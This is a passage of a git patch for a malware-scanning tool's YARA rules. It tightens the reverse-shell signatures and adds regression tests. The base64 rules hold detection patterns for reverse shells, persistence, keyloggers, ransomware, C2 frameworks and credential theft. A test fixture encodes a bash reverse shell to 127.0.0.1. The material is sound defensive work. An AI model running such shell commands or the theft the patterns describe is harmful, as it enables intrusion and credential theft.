+b2Nhc2UKICAgICAgICAkc2xpdmVyX2MyICAgICAgPSAvc2xpdmVyLiooaW1wbGFudHxiZWFjb258 +c2Vzc2lvbikvIG5vY2FzZQogICAgICAgICRjb3ZlbmFudCAgICAgICA9IC9Db3ZlbmFudC4qKEdy +dW50fExpc3RlbmVyKS8gbm9jYXNlCiAgICAgICAgJGhhdm9jX2MyICAgICAgID0gL2hhdm9jLioo +ZGVtb258dGVhbXNlcnZlcikvIG5vY2FzZQogICAgICAgICRiZWFjb25fY29uZmlnICA9IC8oQmVh +Y29uVHlwZXxDMlNlcnZlcnxQdWJsaWNLZXkuKndhdGVybWFyaykvIG5vY2FzZQogICAgY29uZGl0 +aW9uOgogICAgICAgIGFueSBvZiB0aGVtCn0KCnJ1bGUgaW5mb19zdGVhbGVyCnsKICAgIG1ldGE6 +CiAgICAgICAgZGVzY3JpcHRpb24gPSAiSW5mb3JtYXRpb24gc3RlYWxlciBwYXR0ZXJucyAoY3Jl +ZGVudGlhbCBoYXJ2ZXN0aW5nLCBicm93c2VyIGRhdGEgdGhlZnQpIgogICAgICAgIGNhdGVnb3J5 +ID0gIm1hbHdhcmUiCiAgICAgICAgc2V2ZXJpdHkgPSAiSElHSCIKICAgICAgICBjb25maWRlbmNl +ID0gIjAuNzUiCiAgICAgICAgcmVmZXJlbmNlID0gImh0dHBzOi8vZ2l0aHViLmNvbS9OZW8yM3gw +L3NpZ25hdHVyZS1iYXNlIgogICAgc3RyaW5nczoKICAgICAgICAkY2hyb21lX2xvZ2luICAgICA9 +IC9DaHJvbWUuKkxvZ2luXHMqRGF0YS8gbm9jYXNlCiAgICAgICAgJGZpcmVmb3hfbG9naW5zICAg +PSAvbG9naW5zXC5qc29uLipmaXJlZm94LyBub2Nhc2UKICAgICAgICAkYnJvd3Nlcl9jb29raWVz +ICA9IC9Db29raWVzLiooY2hyb21lfGZpcmVmb3h8ZWRnZXxvcGVyYSkvIG5vY2FzZQogICAgICAg +ICR3YWxsZXRfc3RlYWwgICAgID0gL3dhbGxldFwuZGF0LyBub2Nhc2UKICAgICAgICAkbWltaWth +dHogICAgICAgICA9ICJtaW1pa2F0eiIgbm9jYXNlCiAgICAgICAgJGxhemFnbmUgICAgICAgICAg +PSAibGF6YWduZSIgbm9jYXNlCiAgICAgICAgJGNyZWRfZHVtcF9zYW0gICAgPSAvcmVnXHMrc2F2 +ZVxzKy4qXFxzYW0vIG5vY2FzZQogICAgICAgICRudGRzX2R1bXAgICAgICAgID0gL250ZHNcLmRp +dC8gbm9jYXNlCiAgICBjb25kaXRpb246CiAgICAgICAgYW55IG9mIHRoZW0KfQo= From c20dec868bcb3a3c7d8ee4d4f1469062c4213557 Mon Sep 17 00:00:00 2001 From: Deepak Jain Date: Wed, 23 Sep 2026 03:12:45 +0000 Subject: [PATCH 3/3] fix(yara): require shell evidence in socket reverse-shell rules The widened Python and Perl signatures matched any socket client: the Python pattern needed only stream-socket construction plus connect, and the Perl pattern only use Socket plus socket creation, so ordinary TCP clients raised CRITICAL reverse_shell/YR1 findings. Both signatures now require bounded shell-specific evidence (dup2/subprocess after connect for Python, STD descriptor redirection or /bin/sh exec for Perl). Paired regressions: encoded complete-shell fixtures are the positive path for both languages; the former positive ordinary-client fixtures are now negative regressions. The packaged base64 rule is re-encoded from the CRLF original, so the decoded diff is exactly two lines with no full-file churn. Signed-off-by: Deepak Jain --- src/skillspector/yara_rules/malware.yar.b64 | 177 ++++++++++---------- tests/nodes/analyzers/test_static_yara.py | 48 +++++- 2 files changed, 135 insertions(+), 90 deletions(-) diff --git a/src/skillspector/yara_rules/malware.yar.b64 b/src/skillspector/yara_rules/malware.yar.b64 index 07df00443..7ff9dd315 100644 --- a/src/skillspector/yara_rules/malware.yar.b64 +++ b/src/skillspector/yara_rules/malware.yar.b64 @@ -1,87 +1,92 @@ -LyoKICAgIE1hbHdhcmUgaW5kaWNhdG9yIHJ1bGVzIGZvciBzb3VyY2UgY29kZSBzY2FubmluZy4K -ICAgIEJhc2VkIG9uIHBhdHRlcm5zIGZyb20gTmVvMjN4MC9zaWduYXR1cmUtYmFzZSBhbmQgY29t -bXVuaXR5IHJlc2VhcmNoLgogICAgQ292ZXJzIHJldmVyc2Ugc2hlbGxzLCBiYWNrZG9vcnMsIGtl -eWxvZ2dlcnMsIHJhbnNvbXdhcmUtbGlrZSBiZWhhdmlvciwKICAgIGFuZCBDMiBmcmFtZXdvcmsg -aW5kaWNhdG9ycyBmb3VuZCBpbiBzb3VyY2Uvc2NyaXB0IGZpbGVzLgoqLwoKcnVsZSByZXZlcnNl -X3NoZWxsCnsKICAgIG1ldGE6CiAgICAgICAgZGVzY3JpcHRpb24gPSAiUmV2ZXJzZSBzaGVsbCBw -YXR0ZXJucyBpbiBzY3JpcHRzIG9yIHNvdXJjZSBjb2RlIgogICAgICAgIGNhdGVnb3J5ID0gIm1h -bHdhcmUiCiAgICAgICAgc2V2ZXJpdHkgPSAiQ1JJVElDQUwiCiAgICAgICAgY29uZmlkZW5jZSA9 -ICIwLjg1IgogICAgICAgIHJlZmVyZW5jZSA9ICJodHRwczovL2dpdGh1Yi5jb20vTmVvMjN4MC9z -aWduYXR1cmUtYmFzZSIKICAgIHN0cmluZ3M6CiAgICAgICAgJGJhc2hfcmV2c2hlbGwgICAgPSAv -YmFzaFxzKy1pXHMrPiZccypcL2RldlwvdGNwXC8vIG5vY2FzZQogICAgICAgICRuY19zaGVsbCAg -ICAgICAgID0gL25jXHMuKi1lXHMqXC9iaW5cLyhiYSk/c2gvIG5vY2FzZQogICAgICAgICRuY2F0 -X3NoZWxsICAgICAgID0gL25jYXRccy4qLWVccypcL2JpblwvKGJhKT9zaC8gbm9jYXNlCiAgICAg -ICAgJHB5dGhvbl9zb2NrZXQgICAgPSAvc29ja2V0XC5zb2NrZXRcKC57MCwyMDB9U09DS19TVFJF -QU0uezAsMjAwfVwuY29ubmVjdFwoL3MKICAgICAgICAkcGVybF9zb2NrZXQgICAgICA9IC91c2Vc -cytTb2NrZXQ7LnswLDIwMH1zb2NrZXRccypcKFxzKlNPQ0svcwogICAgICAgICRwaHBfZnNvY2sg -ICAgICAgID0gL2Zzb2Nrb3BlblxzKlwoLipleGVjXHMqXCgvIG5vY2FzZQogICAgICAgICRydWJ5 -X3RjcHNvY2tldCAgID0gL1RDUFNvY2tldFwuXHMqbmV3XHMqXCguKmV4ZWNccypcKC8KICAgICAg -ICAkcG93ZXJzaGVsbF90Y3AgICA9IC9OZXctT2JqZWN0XHMrU3lzdGVtXC5OZXRcLlNvY2tldHNc -LlRDUENsaWVudC8gbm9jYXNlCiAgICAgICAgJHNvY2F0X3NoZWxsICAgICAgPSAvc29jYXRccysu -KkVYRUMuKlwvYmluXC8oYmEpP3NoLyBub2Nhc2UKICAgICAgICAkbWtmaWZvX3NoZWxsICAgICA9 -IC9ta2ZpZm9ccysuKlx8XHMqXC9iaW5cLyhiYSk/c2gvCiAgICBjb25kaXRpb246CiAgICAgICAg -YW55IG9mIHRoZW0KfQoKcnVsZSBiYWNrZG9vcl9wZXJzaXN0ZW5jZQp7CiAgICBtZXRhOgogICAg -ICAgIGRlc2NyaXB0aW9uID0gIkJhY2tkb29yIHBlcnNpc3RlbmNlIHdpdGggbWFsaWNpb3VzIHBh -eWxvYWRzIChzaGVsbCBjb21tYW5kcywgU1NIIGtleSBpbmplY3Rpb24sIGhpZGRlbiByb290IHVz -ZXJzKSIKICAgICAgICBjYXRlZ29yeSA9ICJtYWx3YXJlIgogICAgICAgIHNldmVyaXR5ID0gIkhJ -R0giCiAgICAgICAgY29uZmlkZW5jZSA9ICIwLjc1IgogICAgICAgIHJlZmVyZW5jZSA9ICJodHRw -czovL2dpdGh1Yi5jb20vTmVvMjN4MC9zaWduYXR1cmUtYmFzZSIKICAgIHN0cmluZ3M6CiAgICAg -ICAgJGhpZGRlbl91c2VyICAgICAgID0gL3VzZXJhZGRccysuKi1vXHMrLXVccyswLyBub2Nhc2UK -ICAgICAgICAkY3Jvbl9wZXJzaXN0ICAgICAgPSAvY3JvbnRhYlxzLiooY3VybHx3Z2V0fG5jfGJh -c2h8cHl0aG9uKS8gbm9jYXNlCiAgICAgICAgJHNzaF9pbmplY3QgICAgICAgID0gL2VjaG9ccysu -Kj4+P1xzKi4qXC5zc2hcL2F1dGhvcml6ZWRfa2V5cy8gbm9jYXNlCiAgICAgICAgJHN5c3RlbWRf -cGVyc2lzdCAgID0gL1xbU2VydmljZVxdLipFeGVjU3RhcnQuKihuY3xiYXNofHB5dGhvbnxjdXJs -KS8gbm9jYXNlCiAgICAgICAgJGJhc2hyY19wZXJzaXN0ICAgID0gL2VjaG9ccysuKj4+P1xzKi4q -XC5iYXNocmMvIG5vY2FzZQogICAgICAgICRwcm9maWxlX3BlcnNpc3QgICA9IC9lY2hvXHMrLio+ -Pj9ccyouKlwucHJvZmlsZS8gbm9jYXNlCiAgICAgICAgJGluaXRfcGVyc2lzdCAgICAgID0gL1wv -ZXRjXC9pbml0XC5kXC8uKihuY3xiYXNofHJldmVyc2UpLyBub2Nhc2UKICAgICAgICAkbGRfcHJl -bG9hZCAgICAgICAgPSAvTERfUFJFTE9BRC4qXC5zby8gbm9jYXNlCiAgICBjb25kaXRpb246CiAg -ICAgICAgYW55IG9mIHRoZW0KfQoKcnVsZSBrZXlsb2dnZXJfaW5kaWNhdG9ycwp7CiAgICBtZXRh -OgogICAgICAgIGRlc2NyaXB0aW9uID0gIktleWxvZ2dlciBmdW5jdGlvbmFsaXR5IGluIHNjcmlw -dHMgb3Igc291cmNlIGNvZGUiCiAgICAgICAgY2F0ZWdvcnkgPSAibWFsd2FyZSIKICAgICAgICBz -ZXZlcml0eSA9ICJISUdIIgogICAgICAgIGNvbmZpZGVuY2UgPSAiMC43IgogICAgc3RyaW5nczoK -ICAgICAgICAkcHlucHV0ICAgICAgICAgPSAvZnJvbVxzK3B5bnB1dFwua2V5Ym9hcmRccytpbXBv -cnQvIG5vY2FzZQogICAgICAgICRrZXlib2FyZF9ob29rICA9IC9rZXlib2FyZFwuKG9uX3ByZXNz -fGhvb2t8b25fcmVsZWFzZSkvIG5vY2FzZQogICAgICAgICR4aW5wdXRfdGVzdCAgICA9IC94aW5w -dXRccyt0ZXN0LyBub2Nhc2UKICAgICAgICAkbG9na2V5cyAgICAgICAgPSAvbG9na2V5c1xzKy0t -c3RhcnQvIG5vY2FzZQogICAgICAgICRrZXliZF9ldmVudCAgICA9IC8oR2V0QXN5bmNLZXlTdGF0 -ZXxTZXRXaW5kb3dzSG9va0V4LipXSF9LRVlCT0FSRCkvIG5vY2FzZQogICAgY29uZGl0aW9uOgog -ICAgICAgIGFueSBvZiB0aGVtCn0KCnJ1bGUgcmFuc29td2FyZV9iZWhhdmlvcgp7CiAgICBtZXRh -OgogICAgICAgIGRlc2NyaXB0aW9uID0gIlJhbnNvbXdhcmUtbGlrZSBwYXR0ZXJucyAobWFzcyBl -bmNyeXB0aW9uLCByYW5zb20gbm90ZXMpIgogICAgICAgIGNhdGVnb3J5ID0gIm1hbHdhcmUiCiAg -ICAgICAgc2V2ZXJpdHkgPSAiQ1JJVElDQUwiCiAgICAgICAgY29uZmlkZW5jZSA9ICIwLjgiCiAg -ICBzdHJpbmdzOgogICAgICAgICR3YWxrX2VuY3J5cHQgICA9IC9vc1wud2Fsa1xzKlwoLipcLihl -bmNyeXB0fGNpcGhlcikvCiAgICAgICAgJHJhbnNvbV9ub3RlICAgID0gLyh5b3VyXHMrZmlsZXNc +LyoNCiAgICBNYWx3YXJlIGluZGljYXRvciBydWxlcyBmb3Igc291cmNlIGNvZGUgc2Nhbm5pbmcu +DQogICAgQmFzZWQgb24gcGF0dGVybnMgZnJvbSBOZW8yM3gwL3NpZ25hdHVyZS1iYXNlIGFuZCBj +b21tdW5pdHkgcmVzZWFyY2guDQogICAgQ292ZXJzIHJldmVyc2Ugc2hlbGxzLCBiYWNrZG9vcnMs +IGtleWxvZ2dlcnMsIHJhbnNvbXdhcmUtbGlrZSBiZWhhdmlvciwNCiAgICBhbmQgQzIgZnJhbWV3 +b3JrIGluZGljYXRvcnMgZm91bmQgaW4gc291cmNlL3NjcmlwdCBmaWxlcy4NCiovDQoNCnJ1bGUg +cmV2ZXJzZV9zaGVsbA0Kew0KICAgIG1ldGE6DQogICAgICAgIGRlc2NyaXB0aW9uID0gIlJldmVy +c2Ugc2hlbGwgcGF0dGVybnMgaW4gc2NyaXB0cyBvciBzb3VyY2UgY29kZSINCiAgICAgICAgY2F0 +ZWdvcnkgPSAibWFsd2FyZSINCiAgICAgICAgc2V2ZXJpdHkgPSAiQ1JJVElDQUwiDQogICAgICAg +IGNvbmZpZGVuY2UgPSAiMC44NSINCiAgICAgICAgcmVmZXJlbmNlID0gImh0dHBzOi8vZ2l0aHVi +LmNvbS9OZW8yM3gwL3NpZ25hdHVyZS1iYXNlIg0KICAgIHN0cmluZ3M6DQogICAgICAgICRiYXNo +X3JldnNoZWxsICAgID0gL2Jhc2hccystaVxzKz4mXHMqXC9kZXZcL3RjcFwvLyBub2Nhc2UNCiAg +ICAgICAgJG5jX3NoZWxsICAgICAgICAgPSAvbmNccy4qLWVccypcL2JpblwvKGJhKT9zaC8gbm9j +YXNlDQogICAgICAgICRuY2F0X3NoZWxsICAgICAgID0gL25jYXRccy4qLWVccypcL2JpblwvKGJh +KT9zaC8gbm9jYXNlDQogICAgICAgICRweXRob25fc29ja2V0ICAgID0gL3NvY2tldFwuc29ja2V0 +XCguezAsNDAwfVNPQ0tfU1RSRUFNLnswLDQwMH1cLmNvbm5lY3RcKC57MCw0MDB9KG9zXC5kdXAy +XHMqXCh8c3VicHJvY2Vzc1wuKGNhbGx8UG9wZW58cnVuKVxzKlwoKS9zICAgICAgICAgICAgIA0K +ICAgICAgICAkcGVybF9zb2NrZXQgICAgICA9IC91c2VccytTb2NrZXQ7LnswLDQwMH1zb2NrZXRc +cypcKFxzKlNPQ0suezAsNDAwfShvcGVuXHMqXChccypTVEQoSU58T1VUfEVSUil8ZXhlY1xzKlwo +XHMqWyInXVwvYmluXC8oYmEpP3NoKS9zICAgICAgICAgICAgIA0KICAgICAgICAkcGhwX2Zzb2Nr +ICAgICAgICA9IC9mc29ja29wZW5ccypcKC4qZXhlY1xzKlwoLyBub2Nhc2UNCiAgICAgICAgJHJ1 +YnlfdGNwc29ja2V0ICAgPSAvVENQU29ja2V0XC5ccypuZXdccypcKC4qZXhlY1xzKlwoLw0KICAg +ICAgICAkcG93ZXJzaGVsbF90Y3AgICA9IC9OZXctT2JqZWN0XHMrU3lzdGVtXC5OZXRcLlNvY2tl +dHNcLlRDUENsaWVudC8gbm9jYXNlDQogICAgICAgICRzb2NhdF9zaGVsbCAgICAgID0gL3NvY2F0 +XHMrLipFWEVDLipcL2JpblwvKGJhKT9zaC8gbm9jYXNlDQogICAgICAgICRta2ZpZm9fc2hlbGwg +ICAgID0gL21rZmlmb1xzKy4qXHxccypcL2JpblwvKGJhKT9zaC8NCiAgICBjb25kaXRpb246DQog +ICAgICAgIGFueSBvZiB0aGVtDQp9DQoNCnJ1bGUgYmFja2Rvb3JfcGVyc2lzdGVuY2UNCnsNCiAg +ICBtZXRhOg0KICAgICAgICBkZXNjcmlwdGlvbiA9ICJCYWNrZG9vciBwZXJzaXN0ZW5jZSB3aXRo +IG1hbGljaW91cyBwYXlsb2FkcyAoc2hlbGwgY29tbWFuZHMsIFNTSCBrZXkgaW5qZWN0aW9uLCBo +aWRkZW4gcm9vdCB1c2VycykiDQogICAgICAgIGNhdGVnb3J5ID0gIm1hbHdhcmUiDQogICAgICAg +IHNldmVyaXR5ID0gIkhJR0giDQogICAgICAgIGNvbmZpZGVuY2UgPSAiMC43NSINCiAgICAgICAg +cmVmZXJlbmNlID0gImh0dHBzOi8vZ2l0aHViLmNvbS9OZW8yM3gwL3NpZ25hdHVyZS1iYXNlIg0K +ICAgIHN0cmluZ3M6DQogICAgICAgICRoaWRkZW5fdXNlciAgICAgICA9IC91c2VyYWRkXHMrLiot +b1xzKy11XHMrMC8gbm9jYXNlDQogICAgICAgICRjcm9uX3BlcnNpc3QgICAgICA9IC9jcm9udGFi +XHMuKihjdXJsfHdnZXR8bmN8YmFzaHxweXRob24pLyBub2Nhc2UNCiAgICAgICAgJHNzaF9pbmpl +Y3QgICAgICAgID0gL2VjaG9ccysuKj4+P1xzKi4qXC5zc2hcL2F1dGhvcml6ZWRfa2V5cy8gbm9j +YXNlDQogICAgICAgICRzeXN0ZW1kX3BlcnNpc3QgICA9IC9cW1NlcnZpY2VcXS4qRXhlY1N0YXJ0 +LioobmN8YmFzaHxweXRob258Y3VybCkvIG5vY2FzZQ0KICAgICAgICAkYmFzaHJjX3BlcnNpc3Qg +ICAgPSAvZWNob1xzKy4qPj4/XHMqLipcLmJhc2hyYy8gbm9jYXNlDQogICAgICAgICRwcm9maWxl +X3BlcnNpc3QgICA9IC9lY2hvXHMrLio+Pj9ccyouKlwucHJvZmlsZS8gbm9jYXNlDQogICAgICAg +ICRpbml0X3BlcnNpc3QgICAgICA9IC9cL2V0Y1wvaW5pdFwuZFwvLioobmN8YmFzaHxyZXZlcnNl +KS8gbm9jYXNlDQogICAgICAgICRsZF9wcmVsb2FkICAgICAgICA9IC9MRF9QUkVMT0FELipcLnNv +LyBub2Nhc2UNCiAgICBjb25kaXRpb246DQogICAgICAgIGFueSBvZiB0aGVtDQp9DQoNCnJ1bGUg +a2V5bG9nZ2VyX2luZGljYXRvcnMNCnsNCiAgICBtZXRhOg0KICAgICAgICBkZXNjcmlwdGlvbiA9 +ICJLZXlsb2dnZXIgZnVuY3Rpb25hbGl0eSBpbiBzY3JpcHRzIG9yIHNvdXJjZSBjb2RlIg0KICAg +ICAgICBjYXRlZ29yeSA9ICJtYWx3YXJlIg0KICAgICAgICBzZXZlcml0eSA9ICJISUdIIg0KICAg +ICAgICBjb25maWRlbmNlID0gIjAuNyINCiAgICBzdHJpbmdzOg0KICAgICAgICAkcHlucHV0ICAg +ICAgICAgPSAvZnJvbVxzK3B5bnB1dFwua2V5Ym9hcmRccytpbXBvcnQvIG5vY2FzZQ0KICAgICAg +ICAka2V5Ym9hcmRfaG9vayAgPSAva2V5Ym9hcmRcLihvbl9wcmVzc3xob29rfG9uX3JlbGVhc2Up +LyBub2Nhc2UNCiAgICAgICAgJHhpbnB1dF90ZXN0ICAgID0gL3hpbnB1dFxzK3Rlc3QvIG5vY2Fz +ZQ0KICAgICAgICAkbG9na2V5cyAgICAgICAgPSAvbG9na2V5c1xzKy0tc3RhcnQvIG5vY2FzZQ0K +ICAgICAgICAka2V5YmRfZXZlbnQgICAgPSAvKEdldEFzeW5jS2V5U3RhdGV8U2V0V2luZG93c0hv +b2tFeC4qV0hfS0VZQk9BUkQpLyBub2Nhc2UNCiAgICBjb25kaXRpb246DQogICAgICAgIGFueSBv +ZiB0aGVtDQp9DQoNCnJ1bGUgcmFuc29td2FyZV9iZWhhdmlvcg0Kew0KICAgIG1ldGE6DQogICAg +ICAgIGRlc2NyaXB0aW9uID0gIlJhbnNvbXdhcmUtbGlrZSBwYXR0ZXJucyAobWFzcyBlbmNyeXB0 +aW9uLCByYW5zb20gbm90ZXMpIg0KICAgICAgICBjYXRlZ29yeSA9ICJtYWx3YXJlIg0KICAgICAg +ICBzZXZlcml0eSA9ICJDUklUSUNBTCINCiAgICAgICAgY29uZmlkZW5jZSA9ICIwLjgiDQogICAg +c3RyaW5nczoNCiAgICAgICAgJHdhbGtfZW5jcnlwdCAgID0gL29zXC53YWxrXHMqXCguKlwuKGVu +Y3J5cHR8Y2lwaGVyKS8NCiAgICAgICAgJHJhbnNvbV9ub3RlICAgID0gLyh5b3VyXHMrZmlsZXNc cysoaGF2ZVxzK2JlZW58YXJlKVxzK2VuY3J5cHRlZHxwYXlccysuKmJpdGNvaW58c2VuZFxzKy4q -YnRjKS8gbm9jYXNlCiAgICAgICAgJGV4dF9yZW5hbWUgICAgID0gL29zXC5yZW5hbWVccypcKC4q -XCtccypbJyJdXC4obG9ja2VkfGVuY3J5cHRlZHxjcnlwdHxlbmMpWyciXVxzKlwpLwogICAgICAg -ICRtYXNzX292ZXJ3cml0ZSA9IC9vc1wud2Fsa1xzKlwoLipvcGVuXHMqXCguKlsnXCJdd2JbJ1wi -XVwpLwogICAgY29uZGl0aW9uOgogICAgICAgIGFueSBvZiB0aGVtCn0KCnJ1bGUgYzJfZnJhbWV3 -b3JrX2luZGljYXRvcnMKewogICAgbWV0YToKICAgICAgICBkZXNjcmlwdGlvbiA9ICJDb21tYW5k -LWFuZC1jb250cm9sIGZyYW1ld29yayBpbmRpY2F0b3JzIChDb2JhbHQgU3RyaWtlLCBNZXRhc3Bs -b2l0LCBTbGl2ZXIsIGV0Yy4pIgogICAgICAgIGNhdGVnb3J5ID0gIm1hbHdhcmUiCiAgICAgICAg -c2V2ZXJpdHkgPSAiQ1JJVElDQUwiCiAgICAgICAgY29uZmlkZW5jZSA9ICIwLjg1IgogICAgICAg -IHJlZmVyZW5jZSA9ICJodHRwczovL2dpdGh1Yi5jb20vTmVvMjN4MC9zaWduYXR1cmUtYmFzZSIK -ICAgIHN0cmluZ3M6CiAgICAgICAgJGNvYmFsdF9zdHJpa2UgID0gImNvYmFsdHN0cmlrZSIgbm9j -YXNlCiAgICAgICAgJG1ldGVycHJldGVyICAgID0gIm1ldGVycHJldGVyIiBub2Nhc2UKICAgICAg -ICAkbWV0YXNwbG9pdCAgICAgPSAvbWV0YXNwbG9pdC4qKHBheWxvYWR8ZXhwbG9pdHxzdGFnZXIp -LyBub2Nhc2UKICAgICAgICAkZW1waXJlICAgICAgICAgPSAvcG93ZXJzaGVsbC4qZW1waXJlLyBu -b2Nhc2UKICAgICAgICAkc2xpdmVyX2MyICAgICAgPSAvc2xpdmVyLiooaW1wbGFudHxiZWFjb258 -c2Vzc2lvbikvIG5vY2FzZQogICAgICAgICRjb3ZlbmFudCAgICAgICA9IC9Db3ZlbmFudC4qKEdy -dW50fExpc3RlbmVyKS8gbm9jYXNlCiAgICAgICAgJGhhdm9jX2MyICAgICAgID0gL2hhdm9jLioo -ZGVtb258dGVhbXNlcnZlcikvIG5vY2FzZQogICAgICAgICRiZWFjb25fY29uZmlnICA9IC8oQmVh -Y29uVHlwZXxDMlNlcnZlcnxQdWJsaWNLZXkuKndhdGVybWFyaykvIG5vY2FzZQogICAgY29uZGl0 -aW9uOgogICAgICAgIGFueSBvZiB0aGVtCn0KCnJ1bGUgaW5mb19zdGVhbGVyCnsKICAgIG1ldGE6 -CiAgICAgICAgZGVzY3JpcHRpb24gPSAiSW5mb3JtYXRpb24gc3RlYWxlciBwYXR0ZXJucyAoY3Jl -ZGVudGlhbCBoYXJ2ZXN0aW5nLCBicm93c2VyIGRhdGEgdGhlZnQpIgogICAgICAgIGNhdGVnb3J5 -ID0gIm1hbHdhcmUiCiAgICAgICAgc2V2ZXJpdHkgPSAiSElHSCIKICAgICAgICBjb25maWRlbmNl -ID0gIjAuNzUiCiAgICAgICAgcmVmZXJlbmNlID0gImh0dHBzOi8vZ2l0aHViLmNvbS9OZW8yM3gw -L3NpZ25hdHVyZS1iYXNlIgogICAgc3RyaW5nczoKICAgICAgICAkY2hyb21lX2xvZ2luICAgICA9 -IC9DaHJvbWUuKkxvZ2luXHMqRGF0YS8gbm9jYXNlCiAgICAgICAgJGZpcmVmb3hfbG9naW5zICAg -PSAvbG9naW5zXC5qc29uLipmaXJlZm94LyBub2Nhc2UKICAgICAgICAkYnJvd3Nlcl9jb29raWVz -ICA9IC9Db29raWVzLiooY2hyb21lfGZpcmVmb3h8ZWRnZXxvcGVyYSkvIG5vY2FzZQogICAgICAg -ICR3YWxsZXRfc3RlYWwgICAgID0gL3dhbGxldFwuZGF0LyBub2Nhc2UKICAgICAgICAkbWltaWth -dHogICAgICAgICA9ICJtaW1pa2F0eiIgbm9jYXNlCiAgICAgICAgJGxhemFnbmUgICAgICAgICAg -PSAibGF6YWduZSIgbm9jYXNlCiAgICAgICAgJGNyZWRfZHVtcF9zYW0gICAgPSAvcmVnXHMrc2F2 -ZVxzKy4qXFxzYW0vIG5vY2FzZQogICAgICAgICRudGRzX2R1bXAgICAgICAgID0gL250ZHNcLmRp -dC8gbm9jYXNlCiAgICBjb25kaXRpb246CiAgICAgICAgYW55IG9mIHRoZW0KfQo= +YnRjKS8gbm9jYXNlDQogICAgICAgICRleHRfcmVuYW1lICAgICA9IC9vc1wucmVuYW1lXHMqXCgu +KlwrXHMqWyciXVwuKGxvY2tlZHxlbmNyeXB0ZWR8Y3J5cHR8ZW5jKVsnIl1ccypcKS8NCiAgICAg +ICAgJG1hc3Nfb3ZlcndyaXRlID0gL29zXC53YWxrXHMqXCguKm9wZW5ccypcKC4qWydcIl13Ylsn +XCJdXCkvDQogICAgY29uZGl0aW9uOg0KICAgICAgICBhbnkgb2YgdGhlbQ0KfQ0KDQpydWxlIGMy +X2ZyYW1ld29ya19pbmRpY2F0b3JzDQp7DQogICAgbWV0YToNCiAgICAgICAgZGVzY3JpcHRpb24g +PSAiQ29tbWFuZC1hbmQtY29udHJvbCBmcmFtZXdvcmsgaW5kaWNhdG9ycyAoQ29iYWx0IFN0cmlr +ZSwgTWV0YXNwbG9pdCwgU2xpdmVyLCBldGMuKSINCiAgICAgICAgY2F0ZWdvcnkgPSAibWFsd2Fy +ZSINCiAgICAgICAgc2V2ZXJpdHkgPSAiQ1JJVElDQUwiDQogICAgICAgIGNvbmZpZGVuY2UgPSAi +MC44NSINCiAgICAgICAgcmVmZXJlbmNlID0gImh0dHBzOi8vZ2l0aHViLmNvbS9OZW8yM3gwL3Np +Z25hdHVyZS1iYXNlIg0KICAgIHN0cmluZ3M6DQogICAgICAgICRjb2JhbHRfc3RyaWtlICA9ICJj +b2JhbHRzdHJpa2UiIG5vY2FzZQ0KICAgICAgICAkbWV0ZXJwcmV0ZXIgICAgPSAibWV0ZXJwcmV0 +ZXIiIG5vY2FzZQ0KICAgICAgICAkbWV0YXNwbG9pdCAgICAgPSAvbWV0YXNwbG9pdC4qKHBheWxv +YWR8ZXhwbG9pdHxzdGFnZXIpLyBub2Nhc2UNCiAgICAgICAgJGVtcGlyZSAgICAgICAgID0gL3Bv +d2Vyc2hlbGwuKmVtcGlyZS8gbm9jYXNlDQogICAgICAgICRzbGl2ZXJfYzIgICAgICA9IC9zbGl2 +ZXIuKihpbXBsYW50fGJlYWNvbnxzZXNzaW9uKS8gbm9jYXNlDQogICAgICAgICRjb3ZlbmFudCAg +ICAgICA9IC9Db3ZlbmFudC4qKEdydW50fExpc3RlbmVyKS8gbm9jYXNlDQogICAgICAgICRoYXZv +Y19jMiAgICAgICA9IC9oYXZvYy4qKGRlbW9ufHRlYW1zZXJ2ZXIpLyBub2Nhc2UNCiAgICAgICAg +JGJlYWNvbl9jb25maWcgID0gLyhCZWFjb25UeXBlfEMyU2VydmVyfFB1YmxpY0tleS4qd2F0ZXJt +YXJrKS8gbm9jYXNlDQogICAgY29uZGl0aW9uOg0KICAgICAgICBhbnkgb2YgdGhlbQ0KfQ0KDQpy +dWxlIGluZm9fc3RlYWxlcg0Kew0KICAgIG1ldGE6DQogICAgICAgIGRlc2NyaXB0aW9uID0gIklu +Zm9ybWF0aW9uIHN0ZWFsZXIgcGF0dGVybnMgKGNyZWRlbnRpYWwgaGFydmVzdGluZywgYnJvd3Nl +ciBkYXRhIHRoZWZ0KSINCiAgICAgICAgY2F0ZWdvcnkgPSAibWFsd2FyZSINCiAgICAgICAgc2V2 +ZXJpdHkgPSAiSElHSCINCiAgICAgICAgY29uZmlkZW5jZSA9ICIwLjc1Ig0KICAgICAgICByZWZl +cmVuY2UgPSAiaHR0cHM6Ly9naXRodWIuY29tL05lbzIzeDAvc2lnbmF0dXJlLWJhc2UiDQogICAg +c3RyaW5nczoNCiAgICAgICAgJGNocm9tZV9sb2dpbiAgICAgPSAvQ2hyb21lLipMb2dpblxzKkRh +dGEvIG5vY2FzZQ0KICAgICAgICAkZmlyZWZveF9sb2dpbnMgICA9IC9sb2dpbnNcLmpzb24uKmZp +cmVmb3gvIG5vY2FzZQ0KICAgICAgICAkYnJvd3Nlcl9jb29raWVzICA9IC9Db29raWVzLiooY2hy +b21lfGZpcmVmb3h8ZWRnZXxvcGVyYSkvIG5vY2FzZQ0KICAgICAgICAkd2FsbGV0X3N0ZWFsICAg +ICA9IC93YWxsZXRcLmRhdC8gbm9jYXNlDQogICAgICAgICRtaW1pa2F0eiAgICAgICAgID0gIm1p +bWlrYXR6IiBub2Nhc2UNCiAgICAgICAgJGxhemFnbmUgICAgICAgICAgPSAibGF6YWduZSIgbm9j +YXNlDQogICAgICAgICRjcmVkX2R1bXBfc2FtICAgID0gL3JlZ1xzK3NhdmVccysuKlxcc2FtLyBu +b2Nhc2UNCiAgICAgICAgJG50ZHNfZHVtcCAgICAgICAgPSAvbnRkc1wuZGl0LyBub2Nhc2UNCiAg +ICBjb25kaXRpb246DQogICAgICAgIGFueSBvZiB0aGVtDQp9DQo= diff --git a/tests/nodes/analyzers/test_static_yara.py b/tests/nodes/analyzers/test_static_yara.py index ca1762871..29f9668d2 100644 --- a/tests/nodes/analyzers/test_static_yara.py +++ b/tests/nodes/analyzers/test_static_yara.py @@ -90,6 +90,34 @@ def _reverse_shell_fixture() -> str: return base64.b64decode("YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx").decode() +def _python_socket_shell_fixture() -> str: + """Complete Python reverse shell: socket client plus fd redirection and shell spawn. + + Base64-encoded per this module's antivirus-safety convention. + """ + return base64.b64decode( + "aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9z" + 